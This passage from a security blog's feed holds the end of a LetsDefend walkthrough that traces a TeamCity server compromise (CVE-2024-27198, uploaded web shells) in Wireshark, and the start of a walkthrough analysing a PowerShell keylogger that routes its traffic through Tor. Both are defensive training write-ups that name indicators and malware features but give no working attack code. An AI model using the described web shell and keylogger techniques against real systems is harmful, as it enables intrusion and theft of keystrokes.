950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/145588452574cd48168475442e58461f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the web shell filename&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get more information by following the TCP stream for the packet we found in the previous question (&lt;code&gt;4939&lt;/code&gt;). Once in the TCP stream window, search for the filename of the web shell. We&amp;rsquo;ll see a &lt;code&gt;POST&lt;/code&gt; request referring to a &lt;code&gt;.jsp&lt;/code&gt; plugin with the same name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ce9c0ddb0b84d2c7bedc081eabeccade_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the resource path of the uploaded web shell&lt;/p&gt;&#xA;&lt;p&gt;From this, we can infer the full URL of the uploaded web shell:&lt;/p&gt;&#xA;&lt;p&gt;http://18.159.50.167:8111/plugins/5z6p8kCA/5z6p8kCA.jsp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/088f6856870cb2a12bd57fd2408fd972_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-the-attacker-created-another-user-named-41m67llo-and-uploaded-another-web-shell-what-is-the-name-of-the-zip-file-that-was-uploaded&#34;&gt;Question 11: The attacker created another user named 41m67llo and uploaded another web shell. What is the name of the ZIP file that was uploaded?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the end of our investigation and are provided with an extremely helpful detail that&amp;rsquo;ll help us identify the second web shell quickly — the username &lt;code&gt;41m67llo&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we already have this detail, we can leverage &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; string search function to quickly locate the first packet containing this username, which lets us examine the TCP stream.&lt;/p&gt;&#xA;&lt;p&gt;First, press the magnifying glass icon above the filter box. Then select &lt;em&gt;Packet Details&lt;/em&gt; to search the packet details pane. Finally, change the search type to &lt;em&gt;String&lt;/em&gt; and enter the username.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/cf84463496ccb891658ef4cfd39b30db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Locating the provided username in the packet details&lt;/p&gt;&#xA;&lt;p&gt;The search brings us to packet &lt;code&gt;6553&lt;/code&gt; — you know the drill, follow the TCP stream:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a2fbfca92a9b3e7508ae35ea68a83982_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Following the TCP stream for the identified user&lt;/p&gt;&#xA;&lt;p&gt;Once inside the TCP stream window, we&amp;rsquo;ll use the search function again to look for the string &lt;code&gt;&amp;quot;upload&amp;quot;&lt;/code&gt; since we&amp;rsquo;re looking for another web shell upload. This reveals the filename of the second web shell: &lt;code&gt;V5HwJgS3.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ceb9583f67c679f6259e2cc2396ade1e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Locating the second web shell in the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/9aba34e11fa0ad99aa76b5588ba9cf00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-the-attacker-created-a-file-on-the-system-containing-some-text-what-is-the-text-inside-thatfile&#34;&gt;Question 12: The attacker created a file on the system containing some text. What is the text inside that file?&#xA;&lt;/h3&gt;&lt;p&gt;On to our final objective — discovering a text file left behind by the attacker. To do this, we&amp;rsquo;ll continue working in the same TCP stream window we used in the last question, this time searching for &lt;code&gt;.txt&lt;/code&gt;, since that&amp;rsquo;s the most likely plain text format used.&lt;/p&gt;&#xA;&lt;p&gt;Once we run the search, we&amp;rsquo;ll see a command using &lt;code&gt;echo&lt;/code&gt; to pipe the attacker&amp;rsquo;s message into a file named &lt;code&gt;file.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/897d02c5065cdcd324d575997a96e80b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make the message more readable, we can remove some of the URL encoding. A quick way to do this is to use the &lt;em&gt;Wireshark&lt;/em&gt; string search again for a recognizable string from the message (like &lt;code&gt;&amp;quot;BUDD&amp;quot;&lt;/code&gt;) in the main &lt;em&gt;Wireshark&lt;/em&gt; window, now that we understand the context.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d22fd8edef564de4832def3e46931a4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This takes us to the corresponding packet where we can see the command and the text piped into the file. Well, that&amp;rsquo;s a sobering message to read! This confirms that our &lt;em&gt;TeamCity&lt;/em&gt; server was compromised and under the attacker&amp;rsquo;s control.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/dcc05ccdec665ba65bf2e7cbfaaf2607_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;527px&#34; data-flex-grow=&#34;219&#34; height=&#34;364&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/b23b428b59c3712a713ece276a8bd039_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission Complete!&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This scenario gave us the opportunity to walk through a full &lt;em&gt;TeamCity&lt;/em&gt; server compromise: from initial log review to uncovering attacker behavior and identifying post-exploitation artifacts. By leveraging &lt;em&gt;Velociraptor&amp;rsquo;s&lt;/em&gt; collection capabilities, analyzing the packet captures with &lt;em&gt;Wireshark&lt;/em&gt;, then correlating the evidence with external threat intelligence, we were able to piece together a timeline of events that started with an unauthenticated exploit and ended with multiple web shells and a notice of pwnage left on the system.&lt;/p&gt;&#xA;&lt;p&gt;The attacker&amp;rsquo;s use of &lt;em&gt;CVE-2024€“27198&lt;/em&gt; to bypass authentication and gain remote code execution on a vulnerable &lt;em&gt;TeamCity&lt;/em&gt; server is a stark reminder of the importance of timely patching.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to get more familiar with &lt;em&gt;Velociraptor&lt;/em&gt;, and I didn&amp;rsquo;t realize going in that we wouldn&amp;rsquo;t be using the GUI interface to perform the investigation. I was a little caught off guard, but found it really interesting and valuable to learn how the offline collector works and what artifacts are available from this mode — maybe not the lesson I was looking for initially, but it ended up pretty cool.&lt;/p&gt;&#xA;&lt;p&gt;I always enjoy trying to determine what specific vulnerability may have been exploited based on the available evidence. So often in vulnerability management, the focus is on prevention — so it&amp;rsquo;s interesting when it turns into a challenge of detection. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/velociraptor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — Triage and acquisition:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/offline_triage/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/docs/offline_triage/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — client_info:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/vql_reference/server/client_info/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — flows:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IPinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Krebs on Security &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Stark Industries Solutions: An Iron Hammer in the Cloud&amp;quot;&#xA;** : &lt;a class=&#34;link&#34; href=&#34;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SOCRadar - IOC Radar:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/app/ioc-radar/95.164.9.144&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socradar.io/labs/app/ioc-radar/95.164.9.144&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Rapid7 — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;CVE-2024€“27198 and CVE-2024€“27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)&amp;quot;&#xA; :** &lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database — CVE-2024€“27198:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-27198&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-27198&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PowerShell Keylogger Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/</link>
            <pubDate>Sun, 20 Jul 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PowerShell Keylogger Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--powershell-keylogger-challenge-walkthrough&#34;&gt;LetsDefend — PowerShell Keylogger Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-powershell-malware-sample-with-notepad&#34;&gt;Investigating a PowerShell Malware Sample With Notepad++.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; width=&#34;630&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PowerShell Keylogger&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; you&amp;rsquo;re in the right place. This challenge is a great introduction to analyzing &lt;strong&gt;PowerShell-based malware&lt;/strong&gt;, and it gives us a chance to flex our manual analysis skills. Let&amp;rsquo;s check out the scenario:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware&amp;rsquo;s functionality and determine its capabilities.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pretty straightforward, right? Analyze the sample, figure out what it can do. But what&amp;rsquo;s in our toolkit for this investigation? We&amp;rsquo;re going full manual here — all we need is a trusty text editor like &lt;strong&gt;Notepad++&lt;/strong&gt;. As we work through the script, we&amp;rsquo;ll also do some light external research to make sure we&amp;rsquo;re seeing the full picture.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-proxy-port-used-by-thescript&#34;&gt;Question 1: What is the proxy port used by the script?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, let&amp;rsquo;s kick off our investigation and dig into the PowerShell malware sample. First, open the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and extract the &lt;code&gt;sample.7z&lt;/code&gt; archive, which contains the &lt;code&gt;cha&lt;/code&gt; sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;818px&#34; data-flex-grow=&#34;341&#34; height=&#34;231&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/9aa459f10f721b4ba44bb55a01dd449e_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the ChallengeFile folder&lt;/p&gt;&#xA;&lt;p&gt;Since we know this is a malicious &lt;strong&gt;PowerShell script&lt;/strong&gt;, we can begin our analysis by looking at the strings within the script to determine what it does. One approach is to simply open the script with a text editor to view the contents. For this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Notepad++&lt;/strong&gt;, but there are many other options — the choice is yours!&lt;/p&gt;&#xA;&lt;p&gt;Once we have the sample opened in &lt;em&gt;Notepad++&lt;/em&gt;, we&amp;rsquo;ll see some defined parameters, which is a great way to ease into the analysis. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, turn your attention to &lt;strong&gt;Line 5.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/f6de979e72c5811d80ab6ba26a67f76f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the proxy port used by the script&lt;/p&gt;&#xA;&lt;p&gt;We can see the &lt;code&gt;$proxyPort&lt;/code&gt; variable declared with the value of &lt;code&gt;[9050](https://whatportis.com/search/9050)&lt;/code&gt;, indicating that this is the port used by the proxy server. According to &lt;a class=&#34;link&#34; href=&#34;https://whatportis.com/search/9050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;WhatPortIs&lt;/strong&gt;&lt;/a&gt;, port &lt;code&gt;9050&lt;/code&gt; is the &lt;strong&gt;Tor SOCKS proxy&lt;/strong&gt; port used by the &lt;em&gt;Tor&lt;/em&gt; network, which is commonly used for anonymous browsing. This tells us that the malware is likely attempting to obfuscate its traffic by routing through &lt;em&gt;Tor&lt;/em&gt; and hiding out on the dark web.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/b67cc4d4d7a346f556dbab9d8a968b35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-function-method-is-used-for-starting-keylogging&#34;&gt;Question 2: What function-method is used for starting keylogging?&#xA;&lt;/h3&gt;&lt;p&gt;The next thing we&amp;rsquo;re going to search for is the name of the keylogging function within the script. In the real world, it&amp;rsquo;s a good idea to read through the script in its entirety to build out an understanding of the whole thing, but for the purposes of this challenge, we&amp;rsquo;re looking for something specific.&lt;/p&gt;&#xA;&lt;p&gt;So, to speed things up, we can leverage the &lt;em&gt;Find&lt;/em&gt; function in &lt;em&gt;Notepad++&lt;/em&gt; and search for the keyword &lt;code&gt;&amp;quot;keylogger&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Check out &lt;strong&gt;Line 94:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/4454ab2c336a151d16d93c82030e1a69_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the keylogger function in the script&lt;/p&gt;&#xA;&lt;p&gt;Here we can see the line &lt;code&gt;function Start-Keylogger&lt;/code&gt;, which indicates that this is the name of the function containing the keylogging module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/8704e428e52a0d35fd15ed1835d3cad0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-file-used-by-the-script-to-store-the-keylogdata&#34;&gt;Question 3: What is the name of the file used by the script to store the keylog data?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the keylogger function, our next task is to determine which file the collected data is stored in. Keep digging through the keylogging function we discovered earlier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/f9fc5ef4caaa4017423cf5056c6a485f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the keylog storage file in the script&lt;/p&gt;&#xA;&lt;p&gt;As we scroll down the lines, everything might not make sense right away — but on &lt;strong&gt;Line 134&lt;/strong&gt;, we&amp;rsquo;ll stumble on the &lt;code&gt;AppendAllText&lt;/code&gt; operation that writes the input to a file: &lt;code&gt;keylog.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is an important artifact to discover because we could use it to help determine what keystroke data was captured and potentially exfiltrated by the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/5ec6e210dfff1a02b6c597cc0fa6918d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-command-is-used-by-the-script-to-achieve-persistence&#34;&gt;Question 4: What command is used by the script to achieve persistence?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, the next object we need to identify is the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;persistence&lt;/a&gt; mechanism used by the malware. If we search through the script, we&amp;rsquo;ll find a clue on &lt;strong&gt;Line 245&lt;/strong&gt;, where we see a conditional check:&lt;/p&gt;&#xA;&lt;p&gt;$command -eq &amp;ldquo;persist&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;This line is paired with a translated comment that reads: &amp;ldquo;the logic of persistence here if necessary.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/9a4e1249a9c6f0ddd896bbf133e95b56_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the persistence command in the script&lt;/p&gt;&#xA;&lt;p&gt;Now, malware comments aren&amp;rsquo;t exactly the most reliable source of truth — but in this case, they&amp;rsquo;re actually helpful. Despite the mention of persistence, it doesn&amp;rsquo;t appear that any actual &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;persistence&lt;/a&gt; module is weaponized in this sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, 